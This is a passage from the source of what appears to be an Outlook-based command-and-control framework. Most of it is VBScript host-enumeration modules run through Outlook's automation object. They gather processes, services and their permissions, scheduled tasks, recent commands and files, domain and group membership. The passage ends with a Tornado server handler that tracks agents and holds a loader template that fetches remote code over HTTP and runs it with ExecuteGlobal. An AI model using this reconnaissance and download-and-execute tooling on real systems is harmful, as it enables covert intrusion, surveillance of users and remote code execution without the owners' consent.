netlogAttribute.value & vbCrLf end if end if Next Next list_networklogon = netlogResponse End Function ================================================ FILE: functions/enumerate/host/list_ntdomaininfo.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates information about the domain the computer is joined to using WMI. Returns unknown if computer is in workgroup. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select * from Win32_NTDomain """ self.entry = 'list_ntdomaininfo' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_ntdomaininfo.txt ================================================ Function list_ntdomaininfo() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set colNTDomain = objWMIService.ExecQuery("Select * from Win32_NTDomain") For Each domain in colNTDomain For Each domAttribute in domain.Properties_ if Not (IsNull(domAttribute.value) OR IsEmpty(domAttribute.value)) Then if IsArray(domAttribute) then ntinfo = ntinfo & domAttribute.Name & ": " & Join(domAttribute, ", ") & vbCrLf else ntinfo = ntinfo & domAttribute.Name & ": " & domAttribute.value & vbCrLf end if end if Next Next list_ntdomaininfo = ntinfo End Function ================================================ FILE: functions/enumerate/host/list_officearch.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the installed Office Architecture on the host. This module writes the result to agent in the database. It retrieves the bitness from the Path value under HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\outlook.exe. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_officearch' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): agent.officearch = data ================================================ FILE: functions/enumerate/host/list_officearch.txt ================================================ Function list_officearch() On Error Resume Next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.GetStringValue 2147483650, "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\outlook.exe", "Path", strPath if InStr(strPath, "x86") > 0 Then list_officearch = "x86" else list_officearch = "x64" end if End Function ================================================ FILE: functions/enumerate/host/list_printers.py ================================================ from lib.core.specmodule import SpecModule from datetime import datetime class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Uses wscript.network to gather printer connections It uses Wscript.Network - EnumPrinterConnections """ self.entry = 'list_printers' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_printers.txt ================================================ Function list_printers() On error resume next Set wsh = window.external.OutlookApplication.CreateObject("Wscript.Network") Set printers = wsh.EnumPrinterConnections For i = 0 to printers.Count - 1 Step 2 output = output & "Printername: " & printers.Item(i+1) & " - Port: " & printers.Item(i) & vbCrLf Next list_printers = "Found " & printers.count & " printers:" & vbCrLf & output End Function ================================================ FILE: functions/enumerate/host/list_processes.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates running processes on the host. It lists out: - PID - PPID - Arch based on virtual size (x86 set to less than 4094967296 Bytes, could be FP here) - Double check using operation-file-check_filearch - Process Name - Executable Path It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select Name,ProcessId,ParentProcessId,VirtualSize,ExecutablePath from Win32_Process """ self.entry = 'list_processes' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_processes.txt ================================================ Function list_processes() Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set col = objWMIService.ExecQuery ("Select Name,ProcessId,ParentProcessId,VirtualSize,ExecutablePath from Win32_Process") procs = "PID" & vbTab & "PPID" & vbTab & "Arch" & vbTab & "ProcessName" & vbTab & vbTab & vbTab & "Executable Path" & vbCrLf For Each obj in col if obj.VirtualSize < 4000000000 Then procarch = "x86" if obj.processid = "0" then procarch = "x64" end if if obj.processid = "4" then procarch = "x64" end if else procarch = "x64" end if if obj.Name = "Memory Compression" Then procarch = "x64" end if if obj.Name = "Registry" Then procarch = "x64" end if procs = procs & obj.ProcessId & vbTab & obj.ParentProcessId & vbTab & procarch & vbTab & obj.Name & vbTab & vbTab & vbTab & obj.ExecutablePath & vbCrLf Next list_processes = procs End Function ================================================ FILE: functions/enumerate/host/list_recentcommands.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates recent executed commands from the registry HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU It uses WbemScripting.SWbemNamedValueSet - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumValues - ConnectServer(root\cimv2).GetStringValue - ConnectServer(root\cimv2).GetExpandedStringValue - ConnectServer(root\cimv2).GetBinaryValue - ConnectServer(root\cimv2).GetDWORDValue - ConnectServer(root\cimv2).GetMultiStringValue - ConnectServer(root\cimv2).GetQWORDValue """ self.entry = 'list_recentcommands' self.depends = ['./helperFunctions/Getallregvalues.txt'] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_recentcommands.txt ================================================ Function list_recentcommands() On error resume next list_recentcommands = "RECENT COMMANDS:" & vbCrLf list_recentcommands = list_recentcommands & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU", 64, 2147483649) End Function ================================================ FILE: functions/enumerate/host/list_recentfiles.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates all shortcuts in the MY_RECENT_DOCUMENTS / RECENT_FILES Resolved all shortcuts to the items and lists them out It uses WScript.Shell - CreateShortcut It uses Shell.Application - Namespace - Namespace().items """ self.entry = 'list_recentfiles' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_recentfiles.txt ================================================ Function list_recentfiles() On error resume next Const MY_RECENT_DOCUMENTS = &H8& recentpaths = "RECENT PATHS:" & vbCrLf set WshShell = window.external.OutlookApplication.CreateObject("WScript.Shell") Set objShell = window.external.OutlookApplication.CreateObject("Shell.Application") Set objFolder = objShell.Namespace(MY_RECENT_DOCUMENTS) Set colItems = objFolder.Items For Each objItem in colItems Set oShellLink = WshShell.CreateShortcut(objItem.path) if Len(oShellLink.TargetPath) = 0 then else recentpaths = recentpaths & oShellLink.TargetPath & vbCrLf end if Next list_recentfiles = recentpaths End Function ================================================ FILE: functions/enumerate/host/list_recyclebin.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ This module reads lists the content of the recycle bin for the current user. To download a file use get_file and use the long path in the output from this module. It uses CreateObject("Shell.Application") """ self.entry = 'list_recyclebin' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_recyclebin.txt ================================================ Function list_recyclebin() On error resume next Set sa = window.external.OutlookApplication.CreateObject("Shell.Application") Set items = sa.Namespace(10).Items() output = "Name - MB - FullPath" & vbCrLF sizeround = 1048576 x = 0 Do until x = items.count friendlysize = Round(items.item(x).size / sizeround, 1) output = output & items.item(x).name & " - " & friendlysize & " - " & items.item(x).path & vbCrLF x=x+1 Loop ml1 = 0 ml2 = 0 ml3 = 0 lines=split(output,vbcrlf) for each line in lines parts = Split(line, " - ") If Len(parts(0)) > ml1 Then ml1 = Len(parts(0)) End If If Len(parts(1)) > ml2 Then ml2 = Len(parts(1)) End If If Len(parts(2)) > ml3 Then ml3 = Len(parts(2)) End If next For Each line In lines parts = Split(line, " - ") spacesToAdd1 = ml1 - Len(parts(0)) spacesToAdd2 = ml2 - Len(parts(1)) spacesToAdd3 = ml3 - Len(parts(2)) line = parts(0) & String(spacesToAdd1, " ") & " " & parts(1) & String(spacesToAdd2, " ") & " " & parts(2) & String(spacesToAdd3, " ") list_recyclebin = list_recyclebin & line & vbCrLF Next End Function ================================================ FILE: functions/enumerate/host/list_scheduledtasks.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the scheduled tasks on the host. It uses WbemScripting.SWbemLocator - ConnectServer(ROOT\Microsoft\Windows\TaskScheduler) - Query: SELECT * FROM MSFT_ScheduledTask """ self.entry = 'list_scheduledtasks' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_scheduledtasks.txt ================================================ Function list_scheduledtasks() On error resume next Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "ROOT\Microsoft\Windows\TaskScheduler") Set col = objWMIService.ExecQuery ("SELECT * FROM MSFT_ScheduledTask", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objItem in col schedtasks = schedtasks & vbCrLf & "TaskName: " & objItem.TaskName schedtasks = schedtasks & vbCrLf & "TaskPath: " & objItem.TaskPath schedtasks = schedtasks & vbCrLf & "Source: " & objItem.Source schedtasks = schedtasks & vbCrLf & "State: " & objItem.State schedtasks = schedtasks & vbCrLf & "URI: " & objItem.URI schedtasks = schedtasks & vbCrLf & "Author: " & objItem.Author schedtasks = schedtasks & vbCrLf & "Date: " & objItem.Date schedtasks = schedtasks & vbCrLf & "Description: " & objItem.Description schedtasks = schedtasks & vbCrLf & "Actions Details:" For Each objAction In objItem.Actions schedtasks = schedtasks & vbCrLf & " ClassId: " & objAction.ClassId schedtasks = schedtasks & vbCrLf & " Data: " & objAction.Data schedtasks = schedtasks & vbCrLf & " Arguments: " & objAction.Arguments schedtasks = schedtasks & vbCrLf & " Execute: " & objAction.Execute Next Set objPrincipal = objItem.Principal schedtasks = schedtasks & vbCrLf & "Principal Details:" schedtasks = schedtasks & vbCrLf & " GroupId: " & objPrincipal.GroupId schedtasks = schedtasks & vbCrLf & " Id: " & objPrincipal.Id schedtasks = schedtasks & vbCrLf & " LogonType: " & objPrincipal.LogonType schedtasks = schedtasks & vbCrLf & " RunLevel: " & objPrincipal.RunLevel schedtasks = schedtasks & vbCrLf & " UserId: " & objPrincipal.UserId schedtasks = schedtasks & vbCrLf & " ProcessTokenSidType: " & objPrincipal.ProcessTokenSidType Set objPrincipal = Nothing schedtasks = schedtasks & vbCrLf & "SecurityDescriptor: " & objItem.SecurityDescriptor Set objSettings = objItem.Settings schedtasks = schedtasks & vbCrLf & "Settings Details:" schedtasks = schedtasks & vbCrLf & " AllowDemandStart: " & objSettings.AllowDemandStart schedtasks = schedtasks & vbCrLf & " AllowHardTerminate: " & objSettings.AllowHardTerminate schedtasks = schedtasks & vbCrLf & " Compatibility: " & objSettings.Compatibility schedtasks = schedtasks & vbCrLf & " DeleteExpiredTaskAfter: " & objSettings.DeleteExpiredTaskAfter schedtasks = schedtasks & vbCrLf & " DisallowStartIfOnBatteries: " & objSettings.DisallowStartIfOnBatteries schedtasks = schedtasks & vbCrLf & " Enabled: " & objSettings.Enabled schedtasks = schedtasks & vbCrLf & " ExecutionTimeLimit: " & objSettings.ExecutionTimeLimit schedtasks = schedtasks & vbCrLf & " Hidden: " & objSettings.Hidden schedtasks = schedtasks & vbCrLf & " IdleSettings: " & objSettings.IdleSettings schedtasks = schedtasks & vbCrLf & " MultipleInstances: " & objSettings.MultipleInstances schedtasks = schedtasks & vbCrLf & " Priority: " & objSettings.Priority schedtasks = schedtasks & vbCrLf & " RestartCount: " & objSettings.RestartCount schedtasks = schedtasks & vbCrLf & " RestartInterval: " & objSettings.RestartInterval schedtasks = schedtasks & vbCrLf & " RunOnlyIfIdle: " & objSettings.RunOnlyIfIdle schedtasks = schedtasks & vbCrLf & " StartWhenAvailable: " & objSettings.StartWhenAvailable schedtasks = schedtasks & vbCrLf & " StopIfGoingOnBatteries: " & objSettings.StopIfGoingOnBatteries schedtasks = schedtasks & vbCrLf & " WakeToRun: " & objSettings.WakeToRun Set objSettings = Nothing schedtasks = schedtasks & vbCrLf & "Settings: " & objItem.Settings schedtasks = schedtasks & vbCrLf & "Triggers Details:" For Each objTrigger In objItem.Triggers schedtasks = schedtasks & vbCrLf & " Id: " & objTrigger.Id schedtasks = schedtasks & vbCrLf & " RandomDelay: " & objTrigger.RandomDelay schedtasks = schedtasks & vbCrLf & " DaysInterval: " & objTrigger.DaysInterval schedtasks = schedtasks & vbCrLf & " StartBoundary: " & objTrigger.StartBoundary schedtasks = schedtasks & vbCrLf & " Enabled: " & objTrigger.Enabled schedtasks = schedtasks & vbCrLf & " StateChange: " & objTrigger.StateChange Set objRepetition = objTrigger.Repetition schedtasks = schedtasks & vbCrLf & " Repetition Details: " schedtasks = schedtasks & vbCrLf & " StopAtDurationEnd: " & objRepetition.StopAtDurationEnd schedtasks = schedtasks & vbCrLf & " Duration: " & objRepetition.Duration schedtasks = schedtasks & vbCrLf & " Interval: " & objRepetition.Interval set objRepetition = Nothing Next schedtasks = schedtasks & vbCrLf Next list_scheduledtasks = schedtasks End Function ================================================ FILE: functions/enumerate/host/list_servicepermissions.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the services and the permissions on the host. It lists out: - Service Name - Service Binary path - Group name and Access Example Output: Enumerating Permissions for: UserDataSvc_3dc16 C:\Windows\system32\svchost.exe GROUP: NT SERVICE\TRUSTEDINSTALLER binPath: C:\Windows\system32\svchost.exe Sanity Check - Access Mask Value To Match: 2032127 ACE Type: Allow Access Mask (Decimal): 2032127 (FullControl) It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select * from Win32_Service - Query: Select * from win32_logicalFileSecuritySetting WHERE Path=VARIABLE """ self.entry = 'list_servicepermissions' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_servicepermissions.txt ================================================ Function list_servicepermissions() ' ACE Types Const ACCESS_ALLOWED_ACE_TYPE = &h0 Const ACCESS_DENIED_ACE_TYPE = &h1 ' Base Access Mask values Const FILE_READ_DATA = &h1 Const FILE_WRITE_DATA = &h2 Const FILE_APPEND_DATA = &h4 Const FILE_READ_EA = &h8 Const FILE_WRITE_EA = &h10 Const FILE_EXECUTE = &h20 Const FILE_DELETE_CHILD = &h40 Const FILE_READ_ATTRIBUTES = &h80 Const FILE_WRITE_ATTRIBUTES = &h100 Const FOLDER_DELETE = &h10000 Const READ_CONTROL = &h20000 Const WRITE_DAC = &h40000 Const WRITE_OWNER = &h80000 Const SYNCHRONIZE = &h100000 ' Constructed Access Masks Dim FULL_CONTROL FULL_CONTROL = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _ FILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + FILE_DELETE_CHILD + _ FILE_READ_ATTRIBUTES + FILE_WRITE_ATTRIBUTES + FOLDER_DELETE + _ READ_CONTROL + WRITE_DAC + WRITE_OWNER + SYNCHRONIZE Dim READ_ONLY READ_ONLY = FILE_READ_DATA + FILE_READ_EA + FILE_EXECUTE + _ FILE_READ_ATTRIBUTES + READ_CONTROL + SYNCHRONIZE Dim MODIFY MODIFY = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _ FILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + _ FILE_READ_ATTRIBUTES + _ FILE_WRITE_ATTRIBUTES + FOLDER_DELETE + READ_CONTROL + SYNCHRONIZE Dim strRights Dim intAccessMask On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set col = objWMIService.ExecQuery ("Select * from Win32_Service") For Each objService in col if InStr(objService.PathName,"{") then binarray = split(objService.PathName, " ", -1, 1) binpathStr = binarray(0) elseif InStr(objService.PathName,"-") then binarray = split(objService.PathName, "-", -1, 1) binpathStr = binarray(0) elseif InStr(objService.PathName,"/") then binarray = split(objService.PathName, "/", -1, 1) binPathStr = Replace(binarray(0), chr(34), "") binpathStr = binarray(0) else binpathStr = objService.PathName end if sanbin = trim(Replace(binarray(0), chr(34), "")) toreturn = toreturn & "Enumerating Permissions for: " & objService.Name & vbCrLf toreturn = toreturn & sanbin & vbCrLf strDir = Replace(sanbin,"\","\\") Set colACLs = objWMIService.ExecQuery("Select * from win32_logicalFileSecuritySetting WHERE Path='" & strDir & "'",,48) for each objItem in colACLs If objItem.GetSecurityDescriptor(objSD) Then DisplayFileSecurity = False End If colACEs = objSD.DACL for each objACE in colACEs strAccessList = objACE.Trustee.Domain & "\" & objACE.Trustee.Name if left(strAccessList,1) = "\" then strAccessList = right(strAccessList,len(strAccessList) -1) end if toreturn = toreturn & " GROUP: " & Ucase(strAccessList) & vbCrLf toreturn = toreturn & vbTab & "binPath: " & Replace(strDir,"\\","\") & vbCrLf if objACE.AceType = 0 Then toreturn = toreturn & vbTab & "Sanity Check - Access Mask Value To Match: " & objACE.AccessMask & vbCrLf If objACE.ACEType = ACCESS_ALLOWED_ACE_TYPE Then toreturn = toreturn & vbTab & " ACE Type: Allow" & vbCrLf Else toreturn = toreturn & vbTab & " ACE Type: Deny" & vbCrLf End If strRights = "" intAccessMask = objACE.AccessMask If intAccessMask = FULL_CONTROL Then strRights = " (FullControl)" ElseIf intAccessMask = MODIFY Then strRights = " (Modify)" ElseIf intAccessMask = READ_ONLY Then strRights = " (ReadOnly)" End If toreturn = toreturn & vbTab & " Access Mask (Decimal): " & intAccessMask & strRights & vbCrLf elseif objACE.AceType = 1 Then toreturn = toreturn & vbTab & "User does not have access - " & objACE.AceType & vbCrLf end if Next Next Next list_servicepermissions = toreturn & vbCrLf End Function ================================================ FILE: functions/enumerate/host/list_services.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the services and status on the host. It lists out: - Service name - State (Stopped|Started) - Name (Name of the running account for the service) - BinPath It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select * from Win32_Service """ self.entry = 'list_services' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_services.txt ================================================ Function list_services() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set col = objWMIService.ExecQuery ("Select * from Win32_Service") For Each objService in col services = services & vbCrLf & objService.Name & vbCrLf & " State:" & objService.State & vbCrLf & " Name: " & objService.StartName & vbCrLf & " BinPath:" & objService.PathName Next list_services = services End Function ================================================ FILE: functions/enumerate/host/list_startmenu.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Lists the structure and items in the start menu. It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - Query: Select Name from Win32_LogicalProgramGroupItem """ self.entry = 'list_startmenu' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_startmenu.txt ================================================ Function list_startmenu() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objWMIService = objLocator.ConnectServer(".", "root\cimv2") Set colItems = objWMIService.ExecQuery("Select Name from Win32_LogicalProgramGroupItem") For Each objItem in colItems list_startmenu = list_startmenu & objItem.Name & vbCrLF Next End Function ================================================ FILE: functions/enumerate/host/list_timezone.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Finds the name of the current timezone for the agent It uses WbemScripting.SWbemNamedValueSet - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_timezone' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): agent.timezone = data ================================================ FILE: functions/enumerate/host/list_timezone.txt ================================================ Function list_timezone() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.GetStringValue 2147483650, "SYSTEM\CurrentControlSet\Control\TimeZoneInformation", "TimeZoneKeyName", strtimezone list_timezone = strtimezone End Function ================================================ FILE: functions/enumerate/host/list_whoami.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Whoami with limited information. Missing privileges since there is no way to get that without API access or running external binaries It uses CreateObject("Wscript.Shell") It uses WbemScripting.SWbemLocator - ConnectServer(root\directory\LDAP) - Query: "SELECT DS_memberOf FROM ds_user Where DS_sAMAccountName = '" & strUsername & "'" - ConnectServer(root\cimv2) - Query: "SELECT * FROM Win32_UserProfile Where SID='" & strSID & "'" """ self.entry = 'list_whoami' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): for line in data.split("\n"): if line.startswith("SID:"): sid = line.split()[1] if sid: agent.sid = sid ================================================ FILE: functions/enumerate/host/list_whoami.txt ================================================ Function list_whoami() on error resume next Set objShell = window.external.OutlookApplication.CreateObject("WScript.Shell") output = "USER INFORMATION" & vbCrLF output = output & "----------------" & vbCrLF strUsername = objShell.RegRead("HKEY_CURRENT_USER\Volatile Environment\username") strUserDNSDomain = objShell.RegRead("HKEY_CURRENT_USER\Volatile Environment\userdnsdomain") strUserDomain = objShell.RegRead("HKEY_CURRENT_USER\Volatile Environment\userdomain") if strUserDNSDomain = "" then strUserDNSDomain "WORKGROUP" end if Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.EnumKey 2147483651, "", arrSubKeys For Each strSubKey In arrSubKeys If Left(strSubKey, 6) = "S-1-5-" Then strVolatileEnvKeyPath = strSubKey & "\Volatile Environment" strVolatileEnvValueName = "USERNAME" objreg.GetStringValue 2147483651, strVolatileEnvKeyPath, strVolatileEnvValueName, strUserValue If StrComp(strUserValue, strUsername, vbTextCompare) = 0 Then strSID = strSubKey Exit For End If End If Next output = output & "Username: " & strUsername & vbCrLF output = output & "DNS Domain: " & strUserDNSDomain & vbCrLF output = output & "Domain: " & strUserDomain & vbCrLF output = output & "SID: " & strSID & vbCrLF output = output & vbCrLF output = output & "GROUP INFORMATION" & vbCrLF output = output & "----------------" & vbCrLF Set objLDAP = objLocator.ConnectServer(".", "\root\directory\LDAP") Set colItems = objLDAP.ExecQuery("SELECT DS_memberOf FROM ds_user Where DS_sAMAccountName = '" & strUsername & "'") For Each PATH in colItems For Each pathAttribute in PATH.Properties_ Select Case TypeName(pathAttribute.value) case "String" Returndata = Returndata & pathAttribute.name & ":" & pathAttribute.value & vbCrLf case "Long" Returndata = Returndata & pathAttribute.name & ":" & pathAttribute.value & vbCrLf case "Boolean" Returndata = Returndata & pathAttribute.name & ":" & pathAttribute.value & vbCrLf case "SWbemObjectEx" 'Cannot get this work... 'Returndata = Returndata & pathAttribute.name & vbCrLf case "Variant()" Returndata = Returndata & pathAttribute.name & "::" & Join(pathAttribute.value, ",") & vbCrLf End Select Next Next output = output & Returndata & vbCrLF output = output & "OTHER INFORMATION" & vbCrLF output = output & "----------------------" & vbCrLF Set objwmi = objLocator.ConnectServer(".", "root\cimv2") Set userStateInfo = objwmi.ExecQuery("SELECT * FROM Win32_UserProfile Where SID='" & strSID & "'") For Each userInfo in userStateInfo output = output & "RoamingConfigured: " & userInfo.RoamingConfigured & vbCrLF output = output & "RoamingPath: " & userInfo.RoamingPath & vbCrLF output = output & "LocalPath: " & userInfo.LocalPath & vbCrLF Next list_whoami = output End Function ================================================ FILE: functions/enumerate/host/list_windowsarch.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the Windows Architecture on the host. This module writes the result to agent in the database. Arch value is found under: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment - PROCESSOR_ARCHITECTURE. It uses WbemScripting.SWbemLocator - ConnectServer - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_windowsarch' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): agent.windowsarch = data ================================================ FILE: functions/enumerate/host/list_windowsarch.txt ================================================ Function list_windowsarch() On Error Resume Next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.GetStringValue 2147483650, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "PROCESSOR_ARCHITECTURE", strArch if strArch = "AMD64" Then list_windowsarch = "x64" else list_windowsarch = strArch end if End Function ================================================ FILE: functions/enumerate/host/list_windowsversion.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the Current Windows version on the host. It retrieves data from HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion and lists out: - ProductName - ReleaseId It uses WbemScripting.SWbemLocator - ConnectServer - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_windowsversion' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): agent.windowsversion = data ================================================ FILE: functions/enumerate/host/list_windowsversion.txt ================================================ Function list_windowsversion() On Error Resume Next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.GetStringValue 2147483650, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", strProdName objreg.GetStringValue 2147483650, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", strRelId list_windowsversion = strProdName & " - " & strRelId End Function ================================================ FILE: functions/enumerate/ldap/ldap_query.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring,escapequotes class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ A module to query LDAP with. To find a list of attributes/values to query use WMI Explorer and look under ROOT\directory\LDAP. Some classes: ds_domain, ds_computer , ds_container , ds_group , ds_top , ds_user Currently not getting all attributes. Struggling with SWbemObjectEx sub objects. The WHERE_* is only used if they are specified. A query without WHERE_* specified looks like this: SELECT FROM WHERE = '' It uses WbemScripting.SWbemLocator - ConnectServer(\\root\\directory\\LDAP) - Query: SELECT ================================================ FILE: lib/handlers/specapplication.py ================================================ #we are not able to directly initialize RequestHandler objects for single time initilization actions #This RequestHandler objects can access anything in the application class via self.application #Therefore we do shared single initilization here #validated from top level import tornado.web class speculaApplication(tornado.web.Application): def __init__(self, helpers, handlers = None, default_host = None, transforms = None, **settings): self.helpers = helpers super().__init__(handlers, default_host, transforms, **settings) ================================================ FILE: lib/handlers/speccomms.py ================================================ import copy import jinja2 from urllib.parse import unquote, urlparse from lib.core.specagents import AgentClass from lib.core.utility import encrypt_code, decrypt_code, TaskClass import tornado import random from datetime import datetime from lib.core.setup import gconfig DLName = "DownloadCacheLogic" LOADSUPPORT = """ Sub {} () Set server_manager = window.external.OutlookApplication.CreateObject("MSXML2.ServerXMLHTTP") vr = Left(window.external.OutlookApplication.version,4) server_manager.open "GET", "{}", False server_manager.setRequestHeader "User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook " & vr server_manager.send rp = server_manager.ResponseText ExecuteGlobal rp End Sub """ #encrypt 1||0 Left(msg 1) #refreshtime len 4 int Mid (msg, 2, 4) #code Mid(msg 6) r = random.Random() class AgentComHandler(tornado.web.RequestHandler): def set_default_headers(self): self.set_header('Server', gconfig.SERVER_HEADER) def get(self): user_agent = self.request.headers.get("User-Agent") url = self.request.full_url() uri = self.request.uri remote_ip = self.request.remote_ip handled = False self.application.helpers.speclog("*** [INBOUND GET] (" + remote_ip + ") - [URL]: " + self.request.full_url()) if self.application.helpers.inblocklist(remote_ip): self.application.helpers.speclog('*** [blocklisted IP] ({}): Valid GET endpoint request from blocklisted ip'.format(remote_ip)) self.render('blocklist.html', CLSID=gconfig.CLSID) return elif 'Outlook' in user_agent: self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + "): Valid Useragent") agent: AgentClass # type anotation if self.application.helpers.pastenddate(): # Handler for past end date for agent in self.application.helpers.a_list: if urlparse(agent.url).path == uri: self.set_header("Cache-Control", "no-store") self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Unique Agent URL triggered") self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Updating Lastseen, Useragent and callback count") agent.update_callback() agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat) agent.useragent = user_agent handled = True self.application.helpers.speclog("*** [ENDDATE] (" + remote_ip + "): Tasking remove homepage hook") mod = self.application.helpers.get_module('execute/host/remove_homepage') task = TaskClass('execute/host/remove_homepage', self.application.helpers.renderModule(mod, agent), mod.entry, {}, True) agent.add_task(task) self.render('base.html', REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, 